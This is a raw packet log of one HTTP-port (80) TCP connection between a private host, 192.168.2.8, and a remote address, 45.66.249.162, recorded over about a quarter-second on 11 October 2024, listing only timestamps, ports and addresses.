Oct 11, 2024 22:32:39.224035978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224036932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224059105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224064112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224070072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224085093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224102974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224102974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224124908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224127054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224136114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224148035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224164009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224167109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224188089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224188089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224200010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224216938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224226952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224235058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224256992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224276066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224277020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224296093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224299908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224315882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224323988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224334002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224338055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224354029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224359989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224373102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224397898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224562883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224581003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224601984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224603891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224618912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224623919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224631071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224642038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224664927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224664927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224675894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224687099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224701881 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224705935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224723101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224726915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224733114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224746943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224766970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224769115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224780083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224790096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224803925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224806070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224814892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225096941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225121021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225131035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225188017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225202084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225217104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225219011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225240946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225245953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225261927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225265026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225277901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225282907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225296974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225305080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225321054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225327969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225338936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225354910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225374937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225394964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225398064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225414038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225421906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225436926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225444078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225457907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225459099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225472927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225480080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225493908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225501060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.225516081 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.225538969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.311244965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.311270952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.311301947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.311320066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.311341047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.311357021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.311378956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.311393023 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.311443090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372447014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372550964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372587919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372617006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372631073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372668982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372677088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372721910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372734070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372781038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372798920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372847080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372852087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372894049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.372894049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372951984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.372958899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373006105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373020887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373068094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373070955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373115063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373117924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373162031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373178959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373233080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373233080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373281002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373290062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373323917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373327017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373372078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373375893 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373420000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373435974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373487949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373501062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373554945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373563051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373610020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373611927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373675108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373701096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373709917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373737097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373783112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373786926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373828888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373830080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373874903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373876095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373922110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.373925924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.373991966 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374007940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374059916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374068022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374114037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374115944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374162912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374180079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374231100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374241114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374289036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374305010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374351978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374352932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374397993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374401093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374444962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374449968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374497890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374511003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374555111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374557018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374600887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374603033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374649048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374650002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374695063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374708891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374741077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374756098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374802113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374804974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374847889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374851942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374896049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374939919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.374952078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.374999046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375035048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375058889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375060081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375104904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375128984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375174999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375179052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375220060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375242949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375288010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375293970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375329018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375334978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375380993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375389099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375431061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375451088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375493050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375499964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375534058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375555038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375601053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375605106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375646114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375646114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375694036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375695944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375740051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375740051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375787020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375787973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375833988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375837088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375876904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375881910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375927925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.375929117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375972033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.375974894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376020908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376020908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376058102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376065969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376110077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376113892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376158953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376202106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376205921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376249075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376291990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376302958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376338959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376343012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376388073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376422882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376431942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376437902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376482964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376527071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376529932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376573086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376621962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376631975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376674891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376678944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376717091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376763105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376764059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376806974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376810074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376854897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376899004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376904011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376945019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.376945972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376991987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.376993895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377034903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377039909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377084017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377084970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377131939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377132893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377177954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377183914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377223969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377268076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377274990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377314091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377357006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377362013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377402067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377408028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377453089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377489090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377499104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377501965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377545118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377588987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377593040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377635002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377681971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377687931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377727032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377772093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377775908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377815962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377816916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377862930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377890110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377898932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377902985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377945900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.377948999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377993107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.377993107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.378040075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.378040075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.378088951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.378088951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.378132105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.378135920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.378181934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.399655104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.399722099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.399764061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.399790049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.399812937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.399827003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.399861097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.399900913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.400135040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.400176048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.400223017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.400263071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462114096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462189913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462239027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462263107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.462291956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.462321043 CEST	49707	80	192.168.2.8	45.66.249.162
